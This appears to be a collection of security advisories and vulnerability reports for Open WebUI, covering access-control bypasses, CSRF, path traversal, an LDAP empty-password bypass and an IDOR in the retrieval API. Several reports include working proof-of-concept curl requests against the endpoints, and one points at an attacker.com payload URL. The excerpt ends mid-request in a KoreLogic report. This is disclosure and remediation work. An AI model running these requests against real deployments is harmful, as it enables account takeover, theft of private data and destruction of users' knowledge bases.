See how openwebui compares to other vendors in security performance
open-webui v0.6.33 is vulnerable to Incorrect Access Control. The API /api/tasks/stop/ directly accesses and cancels tasks without verifying user ownership, enabling attackers (a normal user) to stop arbitrary LLM response tasks.
In version v0.3.8 of open-webui/open-webui, sensitive actions such as deleting and resetting are performed using the GET method. This vulnerability allows an attacker to perform Cross-Site Request Forgery (CSRF) attacks, where an unaware user can unintentionally perform sensitive actions by simply visiting a malicious site or through top-level navigation. The affected endpoints include /rag/api/v1/reset, /rag/api/v1/reset/db, /api/v1/memories/reset, and /rag/api/v1/reset/uploads. This impacts both the availability and integrity of the application.
An improper access control vulnerability in open-webui/open-webui v0.3.8 allows attackers to view and delete any files. The application does not verify whether the attacker is an administrator, allowing the attacker to directly call the GET /api/v1/files/ interface to retrieve information on all files uploaded by users, which includes the ID values. The attacker can then use the GET /api/v1/files/{fileid} interface to obtain information on any file and the DELETE /api/v1/files/{fileid} interface to delete any file.
In version v0.3.8 of open-webui/open-webui, the endpoint /api/pipelines/upload is vulnerable to arbitrary file write and delete due to unsanitized file.filename concatenation with CACHEDIR. This vulnerability allows attackers to overwrite and delete system files, potentially leading to remote code execution.
In version v0.3.8 of open-webui/open-webui, improper access control vulnerabilities allow an attacker to view any prompts. The application does not verify whether the attacker is an administrator, allowing the attacker to directly call the /api/v1/prompts/ interface to retrieve all prompt information created by the admin, which includes the ID values. Subsequently, the attacker can exploit the /api/v1/prompts/command/{commandid} interface to obtain arbitrary prompt information.
An improper access control vulnerability in open-webui/open-webui v0.3.8 allows an attacker to view admin details. The application does not verify whether the attacker is an administrator, allowing the attacker to directly call the /api/v1/auths/admin/details interface to retrieve the first admin (owner) details.
A stored cross-site scripting (XSS) vulnerability exists in open-webui/open-webui version 0.3.8. The vulnerability is present in the /api/v1/models/add endpoint, where the model description field is improperly sanitized before being rendered in chat. This allows an attacker to inject malicious scripts that can be executed by any user, including administrators, potentially leading to arbitrary code execution.
Rejected reason: This CVE ID has been rejected or withdrawn by its CVE Numbering Authority.
A vulnerability in open-webui/open-webui versions <= 0.3.8 allows remote code execution by non-admin users via Cross-Site Request Forgery (CSRF). The application uses cookies with the SameSite attribute set to lax for authentication and lacks CSRF tokens. This allows an attacker to craft a malicious HTML that, when accessed by a victim, can modify the Python code of an existing pipeline and execute arbitrary code with the victim's privileges.
In open-webui/open-webui version v0.3.8, there is an improper privilege management vulnerability. The application allows an attacker, acting as an admin, to delete other administrators via the API endpoint http://0.0.0.0:8080/api/v1/users/{uuidadministrator}. This action is restricted by the user interface but can be performed through direct API calls.
Open WebUI loadtoolmodulebyid Command Injection Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Open WebUI. Authentication is required to exploit this vulnerability.
The specific flaw exists within the loadtoolmodulebyid function. The issue results from the lack of proper validation of a user-supplied string before using it to execute Python code. An attacker can leverage this vulnerability to execute code in the context of the service account. Was ZDI-CAN-28257.
Open WebUI PIP installfrontmatterrequirements Command Injection Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Open WebUI. Authentication is required to exploit this vulnerability.
The specific flaw exists within the installfrontmatterrequirements function.The issue results from the lack of proper validation of a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of the service account. Was ZDI-CAN-28258.
Open WebUI Cleartext Transmission of Credentials Information Disclosure Vulnerability. This vulnerability allows network-adjacent attackers to disclose sensitive information on affected installations of Open WebUI. Authentication is not required to exploit this vulnerability.
The specific flaw exists within the handling of credentials provided to the endpoint. The issue results from transmitting sensitive information in plaintext. An attacker can leverage this vulnerability to disclose transmitted credentials, leading to further compromise. Was ZDI-CAN-28259.
In version 0.3.32 of open-webui/open-webui, the absence of authentication mechanisms allows any unauthenticated attacker to access the api/v1/utils/code/format endpoint. If a malicious actor sends a POST request with an excessively high volume of content, the server could become completely unresponsive. This could lead to severe performance issues, causing the server to become unresponsive or experience significant degradation, ultimately resulting in service interruptions for legitimate users.
In version v0.3.32 of open-webui/open-webui, the application allows users to submit large payloads in the email and password fields during the sign-in process due to the lack of character length validation on these inputs. This vulnerability can lead to a Denial of Service (DoS) condition when a user submits excessively large strings, exhausting server resources such as CPU, memory, and disk space, and rendering the service unavailable for legitimate users. This makes the server susceptible to resource exhaustion attacks without requiring authentication.
In version 0.3.8 of open-webui/open-webui, an arbitrary file write vulnerability exists in the downloadmodel endpoint. When deployed on Windows, the application improperly handles file paths, allowing an attacker to manipulate the file path to write files to arbitrary locations on the server's filesystem. This can result in overwriting critical system or application files, causing denial of service, or potentially achieving remote code execution (RCE). RCE can allow an attacker to execute malicious code with the privileges of the user running the application, leading to a full system compromise.
A vulnerability in open-webui/open-webui v0.3.8 allows an unauthenticated attacker to sign up with excessively large text in the 'name' field, causing the Admin panel to become unresponsive. This prevents administrators from performing essential user management actions such as deleting, editing, or adding users. The vulnerability can also be exploited by authenticated users with low privileges, leading to the same unresponsive state in the Admin panel.
In open-webui version 0.3.8, the endpoint /models/upload is vulnerable to arbitrary file write due to improper handling of user-supplied filenames. The vulnerability arises from the usage of filepath = f"{UPLOADDIR}/{file.filename}" without proper input validation or sanitization. An attacker can exploit this by manipulating the file.filename parameter to include directory traversal sequences, causing the resulting filepath to escape the intended UPLOADDIR and potentially overwrite arbitrary files on the system. This can lead to unauthorized modifications of system binaries, configuration files, or sensitive data, potentially enabling remote command execution.
LDAP Empty Password Authentication Bypass
Affected Component
LDAP authentication endpoint: - backend/openwebui/routers/auths.py (lines 468-477, user bind with empty password) - backend/openwebui/models/auths.py (lines 58-60, LdapForm model)
Affected Versions
Current main branch (commit 6fdd19bf1) and likely all versions with LDAP authentication support.
Description
The LDAP authentication endpoint does not validate that the submitted password is non-empty before performing a Simple Bind against the LDAP server. Per RFC 4513 Section 5.1.2, a Simple Bind with a valid DN and an empty password constitutes an "unauthenticated simple authentication" — many LDAP servers (including OpenLDAP in default configuration and some Active Directory setups) return success (resultCode 0) for this operation.
The LdapForm Pydantic model accepts password: str with no minimum length constraint, so an empty string passes validation. The subsequent Connection.bind() call succeeds on vulnerable LDAP servers, and the application issues a full session token for the target user.
python models/auths.py:58-60 — no minlength on password class LdapForm(BaseModel): user: str password: str
auths.py:469-477 — empty password reaches LDAP bind connectionuser = Connection( server, userdn, formdata.password, # can be "" autobind='NONE', authentication='SIMPLE', ) if not await asyncio.tothread(connectionuser.bind): raise HTTPException(400, 'Authentication failed.')
If bind succeeds (which it does with empty password on many servers), execution continues and a full session token is issued
CVSS 3.1 Breakdown
| Metric | Value | Rationale | |--------|-------|-----------| | Attack Vector | Network (N) | Exploited remotely via the LDAP login endpoint | | Attack Complexity | Low (L) | Single request with an empty password field | | Privileges Required | None (N) | No prior authentication needed | | User Interaction | None (N) | No victim interaction required | | Scope | Unchanged (U) | Impact within the application's authentication boundary | | Confidentiality | High (H) | Full access to victim's account data — chats, files, API keys, settings | | Integrity | High (H) | Can modify victim's data, settings, send messages as victim | | Availability | None (N) | No direct denial of service |
Attack Scenario
1. LDAP authentication is enabled on the Open WebUI instance. 2. The underlying LDAP server accepts unauthenticated simple binds (OpenLDAP default, some AD configs). 3. Attacker sends: POST /api/v1/auths/ldap {"user": "adminusername", "password": ""} 4. The app DN bind succeeds normally (line 366), finds the target user via LDAP search. 5. The user bind (line 469-477) sends a Simple Bind with the target's DN and an empty password. 6. The LDAP server returns success for the unauthenticated bind. 7. authenticateuserbyemail (line 507) issues a full session token for the target user. 8. Attacker has complete access to the victim's account.
Impact
- Complete authentication bypass — any LDAP user account can be taken over without knowing the password - Includes admin accounts if they authenticate via LDAP - No rate limiting on the LDAP endpoint (unlike the password signin endpoint) - Zero interaction required from the victim
Preconditions
- LDAP must be enabled (ENABLELDAP=True, disabled by default) - The LDAP server must accept unauthenticated simple binds with empty passwords (OpenLDAP default behavior, configurable on AD) - Attacker must know a valid LDAP username
Summary
Open WebUI allows admins to restrict which API endpoints an API key can access. When an API key is restricted from /api/v1/messages, requests using the Authorization: Bearer sk-... header are correctly blocked with 403. However, the same key sent via the x-api-key header bypasses the restriction entirely — the request is authenticated, the model is invoked, and a full response is returned.
Details
Open WebUI's Anthropic-compatible API path accepts authentication via x-api-key header (standard for the Anthropic API). The endpoint restriction check only applies to keys presented via the Authorization header. When the same sk-... key is supplied in x-api-key, the restriction check is skipped but the key is still valid for authentication.
This means any API key, regardless of its configured endpoint restrictions, can access any API endpoint by simply using x-api-key instead of Authorization.
PoC
Verified against Open WebUI v0.8.11.
Setup: Admin creates a user with an API key that has endpoint restrictions (not allowed on /api/v1/messages). A mock OpenAI-compatible model (mock-model) is configured.
bash APIKEY="sk-dc56016d720e49ba9e95584d602b79bb"
Test 1: Authorization header — BLOCKED (endpoint restriction enforced) curl -s -X POST http://target:8080/api/v1/messages \ -H "Authorization: Bearer $APIKEY" \ -H 'Content-Type: application/json' \ -d '{"model":"mock-model","messages":[{"role":"user","content":"via Authorization header"}]}'
Test 2: x-api-key header — BYPASS (same key, restriction skipped) curl -s -X POST http://target:8080/api/v1/messages \ -H "x-api-key: $APIKEY" \ -H 'Content-Type: application/json' \ -d '{"model":"mock-model","messages":[{"role":"user","content":"via x-api-key header"}]}'
Verified output:
Authorization header: {"detail":"API key not allowed to access this endpoint."}
x-api-key header (SAME key): {"id":"chatcmpl-mock","type":"message","role":"assistant","content":[{"type":"text","text":"MOCK-CHAT-RESPONSE"}],"model":"mock-model","usage":{"inputtokens":1,"outputtokens":1}}
The same API key is rejected via Authorization (403) but fully processed via x-api-key (200 with model response).
Impact
Any API key with endpoint restrictions can bypass those restrictions by using the x-api-key header instead of Authorization. This undermines the entire API key permission model:
- Keys restricted from chat/completion endpoints can still send messages and receive LLM responses - Keys restricted from admin endpoints may access admin functionality - The operator's intended access control is silently ineffective - API credit spend cannot be controlled through endpoint restrictions
IDOR: Retrieval API Bypasses Knowledge Base Access Controls
Author: Andrew Orr <aorr@tenable.com>
Summary
validatecollectionaccess() (PR #22109) checks the user-memory- and file- collection name prefixes but does not check knowledge base collections, which use raw UUIDs as collection names. Any authenticated user who knows a private knowledge base UUID can read its content through the retrieval query endpoints, even though the knowledge API correctly denies that user access. The same gap affects the retrieval write endpoints (/process/text, /process/file, /process/files/batch, /process/web, /process/youtube), allowing an attacker to inject content into or overwrite another user's knowledge base.
Reproduced on main at commit 4d058a125 (v0.8.11) on March 26, 2026.
Severity
- CWE-639: Authorization Bypass Through User-Controlled Key - CVSS 3.1: 7.5 (AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H) -- AC:H because exploitation requires knowing a target UUID; I:H and A:H because the write path allows poisoning or destruction of another user's knowledge base
Default Configuration Reachability
Reachable in default configuration. All affected endpoints require only getverifieduser, not getadminuser, so any non-admin account in a typical multi-user deployment can reach them. The only prerequisite beyond authentication is knowledge of a target knowledge base UUID, which is reflected in the AC:H score. However, KB UUIDs are stable identifiers that leak through normal usage rather than secrets (see Prerequisites below).
Root Cause
Knowledge base embeddings are stored in vector DB collections named with the knowledge base's UUID (e.g., 550e8400-e29b-41d4-a716-446655440000). The validatecollectionaccess function only blocks two specific prefixes:
python backend/openwebui/routers/retrieval.py lines 2330-2355 def validatecollectionaccess(collectionnames: list[str], user) -> None: if user.role == "admin": return
for name in collectionnames: if name.startswith("user-memory-") and name != f"user-memory-{user.id}": raise HTTPException( statuscode=status.HTTP403FORBIDDEN, detail=ERRORMESSAGES.ACCESSPROHIBITED, ) elif name.startswith("file-"): fileid = name[len("file-"):] if not hasaccesstofile( fileid=fileid, accesstype="read", user=user, ): raise HTTPException( statuscode=status.HTTP403FORBIDDEN, detail=ERRORMESSAGES.ACCESSPROHIBITED, ) # No else clause -- knowledge base UUIDs pass through unchecked
Knowledge base UUIDs do not match either prefix, so the function returns without raising an exception. The query then executes against the vector DB with no further authorization check.
Vulnerable Endpoints
Read Endpoints
Both retrieval query endpoints accept a collection name and call validatecollectionaccess as their sole authorization gate:
1. POST /api/v1/retrieval/query/doc (line 2367) -- single collectionname 2. POST /api/v1/retrieval/query/collection (line 2432) -- list of collectionnames
Write Endpoints
The following endpoints accept a collectionname parameter and write to the target collection without checking whether the caller owns it:
3. POST /api/v1/retrieval/process/text (line 1777) -- appends attacker-controlled content to the target collection 4. POST /api/v1/retrieval/process/file (line 1528) -- validates ownership of the uploaded file but not the destination collection 5. POST /api/v1/retrieval/process/files/batch (line 2578) -- same as above for multiple files 6. POST /api/v1/retrieval/process/web and POST /api/v1/retrieval/process/youtube (lines 1810-1811) -- same handler; overwrite defaults to true, so targeting an existing knowledge base deletes and replaces it
| Endpoint | Read | Write | Overwrite | Access Check | |----------|------|-------|-----------|--------------| | /query/doc | Yes | -- | -- | Prefix-only (bypassed) | | /query/collection | Yes | -- | -- | Prefix-only (bypassed) | | /process/text | -- | Yes | -- | None | | /process/web | -- | Yes | Yes (default) | None | | /process/youtube | -- | Yes | Yes (default) | None (same handler as /process/web) | | /process/file | -- | Yes | -- | File only, not collection | | /process/files/batch | -- | Yes | -- | File only, not collection |
Proof of Concept
Security boundary crossed: The knowledge base access control system (ownership checks, group-based access grants) is bypassed at the retrieval layer. A non-admin user who knows a private knowledge base UUID can read it, append attacker-controlled content to it, or destroy and replace it through the retrieval API, even though the knowledge API correctly denies the same user access to the same resource.
open-webui-idor-poc.sh provides a self-contained Docker lab that stands up the target environment and tests every vulnerable endpoint listed above. See the comments at the top of that file for setup, usage, and configuration options.
Prerequisites
- Attacker has an authenticated (non-pending) account on the target instance. - A victim user has created a private knowledge base containing sensitive documents. - Attacker knows the victim's knowledge base UUID. V4 UUIDs are not guessable, but they are stable identifiers that leak through normal platform usage: - Access revocation: A user learns a KB UUID through a shared workspace or group, loses access, and finds the retrieval API still honors the stale UUID. The knowledge API correctly revokes access at request time (accessgrants.py:549-558 dynamically queries current group memberships), but the retrieval API has no equivalent check. - Model metadata: When a model is shared with a group, GET /api/models/list returns the full meta.knowledge array -- including KB UUIDs -- to every user with access to the model, even if they have no access to the referenced knowledge bases (models.py:58-130). - URL leakage: KB UUIDs appear in browser URLs (/workspace/knowledge/{id}, Knowledge.svelte:260) and can leak through shared links, browser history, Referrer headers, or proxy logs. - RAG citation metadata: KB UUIDs are stored as source.id in chat message sources (middleware.py:1950-1965, socket/main.py:880-897). Shared chats return these sources unfiltered (chats.py:815-830).
Read: Extract Private KB Content
Authenticate as the attacker:
bash TOKEN=$(curl -s -X POST https://open-webui/api/v1/auths/signin \ -H "Content-Type: application/json" \ -d '{"email": "attacker@example.com", "password": "password"}' \ | jq -r '.token')
Control request: the knowledge API correctly blocks the attacker:
bash curl -s https://open-webui/api/v1/knowledge/<victimkbuuid> \ -H "Authorization: Bearer $TOKEN"
json {"detail": "You do not have permission to access this resource."}
Exploit request: the retrieval API returns the same KB's content without authorization:
bash curl -s -X POST https://open-webui/api/v1/retrieval/query/doc \ -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" \ -d '{ "collectionname": "<victimkbuuid>", "query": "confidential", "k": 50 }'
Expected result when vulnerable: the server returns matching document chunks from the victim's private knowledge base, including text content and metadata (source filenames, file IDs, hashes).
The /query/collection endpoint accepts a list of collection names and behaves identically:
bash curl -s -X POST https://open-webui/api/v1/retrieval/query/collection \ -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" \ -d '{ "collectionnames": ["<victimkbuuid>"], "query": "confidential", "k": 50 }'
Write: File Injection via /process/file
The /process/file endpoint validates that the attacker owns the uploaded file but does not validate the target collectionname. The attacker uploads a file under their own account, then processes it into the victim's collection:
bash Upload attacker's file FILEID=$(curl -s -X POST https://open-webui/api/v1/files/ \ -H "Authorization: Bearer $TOKEN" \ -F "file=@payload.txt;type=text/plain" \ | jq -r '.id')
Process it into the victim's KB collection curl -s -X POST https://open-webui/api/v1/retrieval/process/file \ -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" \ -d "{ \"fileid\": \"$FILEID\", \"collectionname\": \"<victimkbuuid>\" }"
Write: Batch File Injection via /process/files/batch
Same pattern as above but accepts multiple files in a single request:
bash Get the full file object for the attacker's uploaded file FILEOBJ=$(curl -s https://open-webui/api/v1/files/$FILEID \ -H "Authorization: Bearer $TOKEN")
Batch-process into the victim's KB collection curl -s -X POST https://open-webui/api/v1/retrieval/process/files/batch \ -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" \ -d "{ \"files\": [$FILEOBJ], \"collectionname\": \"<victimkbuuid>\" }"
Write: Text Injection via /process/text
/process/text appends attacker-controlled content to an existing knowledge base collection:
bash curl -s -X POST https://open-webui/api/v1/retrieval/process/text \ -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" \ -d '{ "name": "injected.txt", "content": "INJECTED BY ATTACKER: attacker-controlled content", "collectionname": "<victimkbuuid>" }'
The PoC then verifies that the injected text is returned by a follow-up query against the victim collection.
Write: YouTube Transcript Replacement via /process/youtube
/process/youtube uses the same handler as /process/web with the same overwrite=true default. This request replaces the victim's collection with the fetched transcript:
bash curl -s -X POST https://open-webui/api/v1/retrieval/process/youtube \ -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" \ -d '{ "url": "https://www.youtube.com/watch?v=dQw4w9WgXcQ", "collectionname": "<victimkbuuid>" }'
Write: Data Destruction via /process/web
/process/web defaults to overwrite=true, which deletes the existing collection before writing. The explicit query string below makes the destructive behavior obvious:
bash curl -s -X POST "https://open-webui/api/v1/retrieval/process/web?overwrite=true" \ -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" \ -d '{ "url": "https://attacker.com/payload.html", "collectionname": "<victimkbuuid>" }'
Impact
- Confidentiality: Any authenticated user can read private knowledge base contents belonging to other users on the instance. - Integrity: Attacker-controlled content can be injected into another user's knowledge base, poisoning downstream RAG results. Injected prompt-injection payloads would be passed to the model when the victim queries the knowledge base. - Availability: /process/web and /process/youtube default to overwrite=true, letting an attacker delete and replace a victim's entire knowledge base in a single request.
Remediation
Two changes are needed:
1. Add a permission parameter to validatecollectionaccess, use it for both file- and knowledge base checks, and add a knowledge base ownership/access check for collection names that do not match the existing prefixes. AccessGrants.hasaccess already resolves group memberships internally when usergroupids is omitted, matching the pattern used throughout knowledge.py.
2. The affected write endpoints must call validatecollectionaccess with permission="write" before operating on the provided collectionname.
diff --- a/backend/openwebui/routers/retrieval.py +++ b/backend/openwebui/routers/retrieval.py @@ -39,4 +39,5 @@ from openwebui.models.files import FileModel, FileUpdateForm, Files from openwebui.utils.accesscontrol.files import hasaccesstofile from openwebui.models.knowledge import Knowledges +from openwebui.models.accessgrants import AccessGrants from openwebui.storage.provider import Storage
@@ -2330,26 +2331,39 @@ -def validatecollectionaccess(collectionnames: list[str], user) -> None: +def validatecollectionaccess(collectionnames: list[str], user, permission: str = "read") -> None: if user.role == "admin": return
for name in collectionnames: if name.startswith("user-memory-") and name != f"user-memory-{user.id}": raise HTTPException( statuscode=status.HTTP403FORBIDDEN, detail=ERRORMESSAGES.ACCESSPROHIBITED, ) elif name.startswith("file-"): fileid = name[len("file-"):] - if not hasaccesstofile( - fileid=fileid, - accesstype="read", - user=user, - ): + if not hasaccesstofile( + fileid=fileid, + accesstype=permission, + user=user, + ): raise HTTPException( statuscode=status.HTTP403FORBIDDEN, detail=ERRORMESSAGES.ACCESSPROHIBITED, ) + else: + knowledge = Knowledges.getknowledgebyid(id=name) + if knowledge and knowledge.userid != user.id: + if not AccessGrants.hasaccess( + userid=user.id, + resourcetype="knowledge", + resourceid=name, + permission=permission, + ): + raise HTTPException( + statuscode=status.HTTP403FORBIDDEN, + detail=ERRORMESSAGES.ACCESSPROHIBITED, + )
The existing read callers (/query/doc, /query/collection) use the default permission="read" and require no change. Each affected write endpoint needs a validation call after collectionname is resolved:
/process/text (line 1777):
diff @@ -1783,5 +1783,6 @@ collectionname = formdata.collectionname if collectionname is None: collectionname = calculatesha256string(formdata.content) + validatecollectionaccess([collectionname], user, permission="write")
docs = [
/process/web and /process/youtube (lines 1810-1811, same handler):
diff @@ -1824,5 +1824,6 @@ collectionname = formdata.collectionname if not collectionname: collectionname = calculatesha256string(formdata.url)[:63] + validatecollectionaccess([collectionname], user, permission="write")
if not request.app.state.config.BYPASSWEBSEARCHEMBEDDINGANDRETRIEVAL:
/process/file (line 1528):
diff @@ -1548,6 +1548,7 @@ collectionname = formdata.collectionname if collectionname is None: collectionname = f"file-{file.id}" + validatecollectionaccess([collectionname], user, permission="write")
if formdata.content:
/process/files/batch (line 2578):
diff @@ -2593,3 +2593,4 @@ collectionname = formdata.collectionname + validatecollectionaccess([collectionname], user, permission="write")
fileresults: List[BatchProcessFilesResult] = []
Regression Test
A regression test should verify that validatecollectionaccess blocks non-owners from accessing knowledge base collections:
python from unittest.mock import MagicMock, patch
import pytest from fastapi import HTTPException
from openwebui.routers.retrieval import validatecollectionaccess
def testvalidatecollectionaccessblocksnonownerread(): victimkbid = "550e8400-e29b-41d4-a716-446655440000" attacker = MagicMock() attacker.id = "attacker-user-id" attacker.role = "user"
mockknowledge = MagicMock() mockknowledge.userid = "victim-user-id"
with patch( "openwebui.routers.retrieval.Knowledges.getknowledgebyid", returnvalue=mockknowledge, ), patch( "openwebui.routers.retrieval.AccessGrants.hasaccess", returnvalue=False, ): with pytest.raises(HTTPException) as excinfo: validatecollectionaccess([victimkbid], attacker) assert excinfo.value.statuscode == 403
def testvalidatecollectionaccessblocksnonownerwrite(): victimkbid = "550e8400-e29b-41d4-a716-446655440000" attacker = MagicMock() attacker.id = "attacker-user-id" attacker.role = "user"
mockknowledge = MagicMock() mockknowledge.userid = "victim-user-id"
with patch( "openwebui.routers.retrieval.Knowledges.getknowledgebyid", returnvalue=mockknowledge, ), patch( "openwebui.routers.retrieval.AccessGrants.hasaccess", returnvalue=False, ): with pytest.raises(HTTPException) as excinfo: validatecollectionaccess( [victimkbid], attacker, permission="write" ) assert excinfo.value.statuscode == 403
For additional coverage, maintainers may want an integration test that creates a knowledge base as one user and confirms that a second user's retrieval query is rejected end-to-end.
AI Disclosure
AI assistance was used to help analyze the code paths, develop the PoC workflow, and draft this report.
Attachments
open-webui-idor-poc.log open-webui-idor-poc.sh
Tenable's Disclosure Policy
Tenable follows a 90-day vulnerability disclosure policy. That means, even though we prefer coordinated disclosure, we'll issue an advisory on June 24, 2026 with or without a patch. Alternatively, any uncoordinated vendor release of a patch or advisory to any customers before the 90-day deadline will be considered public disclosure, and Tenable may release an advisory prior to the coordinated disclosure date. Please read the full details of our policy here: https://static.tenable.com/research/tenable-vulnerability-disclosure-policy.pdf Thank you for taking the time to read this. We'd greatly appreciate it if you'd acknowledge receipt of this report. If you have any questions we'd be happy to address them.
Missing Access Check on Channel Members Endpoint for Standard Channels
Affected Component
Channel members listing endpoint: - backend/openwebui/routers/channels.py (lines 445-507, getchannelmembersbyid)
Affected Versions
Current main branch and likely all versions with the channels feature.
Description
The GET /api/v1/channels/{id}/members endpoint only checks membership for group and dm channel types (lines 467-469). For standard channels — including private ones — there is no channelhasaccess check before returning the member list. Any authenticated user who knows a private channel's UUID can enumerate all users with access to that channel.
python Line 467-469: only group/dm channels are checked if channel.type in ['group', 'dm']: if not Channels.isuserchannelmember(channel.id, user.id, db=db): raise HTTPException(...) Standard channels fall through with NO access check
Compare with other channel endpoints (e.g., getchannelmessages at line 688) which correctly call channelhasaccess(user.id, channel, permission='read') for standard channels.
CVSS 3.1 Breakdown
| Metric | Value | Rationale | |--------|-------|-----------| | Attack Vector | Network (N) | Exploited remotely via API call | | Attack Complexity | Low (L) | Single API call, no special conditions | | Privileges Required | Low (L) | Requires a valid user account | | User Interaction | None (N) | No victim interaction required | | Scope | Unchanged (U) | Impact is within the channel authorization boundary | | Confidentiality | Low (L) | Leaks user identities and details for a private channel | | Integrity | None (N) | No data modification | | Availability | None (N) | No denial of service |
Attack Scenario
1. Attacker obtains a private standard channel's UUID (via logs, browser history, URL observation, or other API responses). 2. Attacker calls GET /api/v1/channels/{id}/members. 3. The server returns the full list of permitted users including their IDs, names, emails, roles, and profile images. 4. The attacker has no access to the channel's messages (those endpoints check access correctly), but now knows exactly who does.
Impact
- Leaks the identity and personal details of every user with access to a private channel - Reveals organizational structure and project assignments - Enables targeted social engineering against channel members
Preconditions
- Channels feature must be enabled (disabled by default) - Attacker must know the channel UUID (not guessable, but obtainable through indirect means)
Summary A user can modify another user's model even if its visibility is set to Private. The finding resulted from a penetration test for a customer. It is suspected that the root cause of the issue lies within the core of Open WebUI, which is why it is being reported as a security issue here. Tested on Open WebUI 0.5.4.
Details / PoC The user Victim created a private model with the visibility set to private: !grafik
The user Attacker can edit this model using the following POST request: POST /api/v1/models/model/update?id=aaabraaa HTTP/2 Host: domain.local //Some headers removed Te: trailers
{"id":"aaabraaa","basemodelid":"gpt-4o-POC","name":"testmodel","meta":{"profileimageurl":"/static/favicon.png","description":"","capabilities":{"vision":true,"usage":false,"citations":true},"suggestionprompts":null,"tags":[],"toolIds":["test"]},"params":{},"userid":"565c82e6-083f-42bb-bf0f-a4e214cfb9ad","accesscontrol":{"read":{"groupids":[],"userids":[]},"write":{"groupids":[],"userids":[]}},"isactive":true,"updatedat":1737314575,"createdat":1737121281} Request / Response !grafik
Impact A user can modify another user's model even if its visibility is set to Private. By changing the access permissions during editing, unauthorized access can be gained.
Summary GET /api/v1/memories/ef is accessible without authentication and executes request.app.state.EMBEDDINGFUNCTION(...). This allows any unauthenticated caller to trigger embedding generation which can lead to direct cost exposure if a paid provider is used. Code reference: backend/openwebui/routers/memories.py (@router.get("/ef") -> calls request.app.state.EMBEDDINGFUNCTION("hello world")).
Details GET /api/v1/memories/ef is reachable without authentication and triggers request.app.state.EMBEDDINGFUNCTION("hello world"). This crosses an intended security boundary by allowing unauthenticated users to invoke potentially expensive embedding computation and/or paid upstream embedding APIs.
PoC 1. Start Open WebUI in default configuration (no special env hardening; default ENABLEMEMORIES is true). 2. From an unauthenticated client (no cookies/Authorization header), call: curl -i http://\<host\>:\<port\>/api/v1/memories/ef 3. Observe the server performs embedding generation and returns a response like: - HTTP 200 with JSON containing the result.
How it can be abused / attacker actions:
- Send repeated requests to /api/v1/memories/ef to: - consume CPU/GPU resources (DoS) - generate sustained outbound usage to embedding providers if configured (cost + rate-limit exhaustion) - degrade latency/availability for legitimate users Impact If embeddings are configured to use paid/remote providers (OpenAI/Azure/etc), an attacker can generate unlimited requests and incur charges.
Resolution
Fixed in commit e5035ea31, first released in v0.8.0 (Feb 2026). The /api/v1/memories/ef route was removed entirely. It was a diagnostic/debug-style endpoint that hard-coded "hello world" through the embedding function without any authentication dependency; there was no legitimate caller that depended on it, so deletion was the cleaner fix than retrofitting auth. Users on >= 0.8.0 are not affected.
Summary
The /responses endpoint in the OpenAI router accepts any authenticated user and forwards requests directly to upstream LLM providers without enforcing per-model access control. While the primary chat completion endpoint (generatechatcompletion) checks model ownership, group membership, and AccessGrants before allowing a request, the /responses proxy only validates that the user has a valid session via getverifieduser.
This allows any authenticated user — regardless of role or group assignment — to interact with any model configured on the instance by sending a POST request to /api/openai/responses with an arbitrary model ID.
Impact
As per OWASP TOP 10 LLM:
- Model Denial of Service (OWASP LLM04): An unauthorized user can submit resource-intensive requests to expensive models (e.g., o1-pro, GPT-4o) that were explicitly restricted by the administrator. In shared deployments, this can exhaust API budgets or rate limits, causing total service disruption for all legitimate users.
- Model Theft (OWASP LLM10): If the instance proxies access to fine-tuned or self-hosted models, unauthorized users can freely interact with them, enabling capability extraction or model distillation without authorization.
- Access Policy Bypass: Administrators lose the ability to enforce cost-tier restrictions, team-based model assignments, or compliance boundaries through the existing access control system.
The endpoint is a raw passthrough proxy and does not resolve workspace model configurations (system prompts, knowledge bases, RAG pipelines). Therefore, workspace-specific confidential data is not directly exposed through this vector.
PR: https://github.com/open-webui/open-webui/pull/23481
CONFIDENTIAL
Vulnerability Disclosure Analysis Documentation
---
Vulnerability Details
| # | Field | Value | |---|-------|-------| | 1 | Discoverer | Taylor Pennington of KoreLogic, Inc. | | 2 | Date Submitted | June 11, 2024 | | 3 | Title | Open WebUI Improper Authorization Control | | 5 | Affected Vendor | Open WebUI | | 6 | Affected Product(s) | Open WebUI (Formerly Ollama WebUI) | | 7 | Affected Version(s) | 0.1.105 | | 8 | Platform/OS | Debian GNU/Linux 12 (bookworm) | | 9 | Vector | HTTP web interface | | 10 | CWE | 285 Improper Authorization |
---
4. High-level Summary
There is a missing authorization check affecting user accounts with a pending status allowing the user to make authenticated API calls as a user context.
---
11. Technical Analysis
The Open WebUI web application has three user role classifications: user, admin, and pending. By default, when Open WebUI is configured with new sign-ups enabled, the default user role is set to pending. In this configuration, an administrator is required to go into the Admin management panel following a new user registration and reconfigure the user to have a role of either user or admin before that user is able to access the web application. However, this check is only enforced at the client presentation layer, the API does not properly validate that the user has an authorized user role of user.
Request
http POST /api/v1/auths/signup HTTP/1.1 Host: openwebui.example.com Content-Length: 60
{ "name": "", "email": "badguy@korelogic.com", "password": "a" }
Response
http HTTP/1.1 200 OK ...
{ "id": "f839557a-031a-47a5-9999-0b0998f8f959", "email": "badguy@korelogic.com", "name": "", "role": "pending", "profileimageurl": "/user.png", "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImY4Mzk1NTdhLTAzMWEtNDdhNS05OTk5LTBiMDk5OGY4Zjk1OSJ9.Bk-S4ABXb1tRuiVNfOJYbQFB8ewixWA4a1FohvIZARs", "tokentype": "Bearer" }
An attacker can then use the JWT in the above response to make direct API calls or they can forge the authentication response and use the web UI.
With the JWT, an attacker can now query the LLM. However, for this demonstration we will query the /ollama/api/tags endpoint and get a list of available models as this is an authenticated endpoint. Attempting to make this request without a valid JWT returns an HTTP 401 Unauthorized response.
Request
